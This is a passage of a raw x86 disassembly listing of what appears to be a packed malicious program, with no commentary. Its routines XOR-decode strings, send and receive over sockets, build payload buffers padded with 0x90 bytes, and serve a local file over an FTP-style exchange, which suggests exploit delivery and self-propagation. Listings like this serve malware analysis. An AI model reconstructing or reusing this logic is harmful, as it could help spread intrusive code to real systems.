sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EBD0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EBD0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: .packed:off_41CDB6o var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset loc_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 add esp, 0Ch push 2 push offset loc_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 add esp, 0Ch push 4 push offset loc_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 add esp, 0Ch push 2 push offset loc_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 add esp, 0Ch push 4 push (offset loc_41A8E3+1) lea eax, [ebp+var_236] push eax call sub_416B52 add esp, 0Ch push 0Bh push offset loc_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset loc_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset loc_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset loc_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset loc_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: .packed:0041CDF0o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax loc_410DB7: ; DATA XREF: .packed:off_419A7Co call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call dword_41709C push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52:loc_410DB7p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset dword_41EC0C call sub_416B88 pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 pop ecx push [ebp+var_208] call sub_416B82 pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset dword_41C6B0 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, byte_41DF10 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, byte_41DF10 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DF10 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset dword_41C698 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset dword_41C684 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset dword_41C670 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset dword_41C65C push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset dword_41C648 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset dword_41C620 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset dword_418A50 push 100h lea eax, [ebp+var_104] push eax call sub_416BAE add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset dword_418A60 push 6 lea eax, [ebp+var_114] push eax call sub_416BAE add esp, 10h push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset dword_41EC0C call sub_416B88 pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 add esp, 0Ch push [ebp+var_548] call sub_416B76 pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 add esp, 0Ch push [ebp+var_548] call sub_416B82 pop ecx push [ebp+var_544] push offset dword_41C5E8 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp 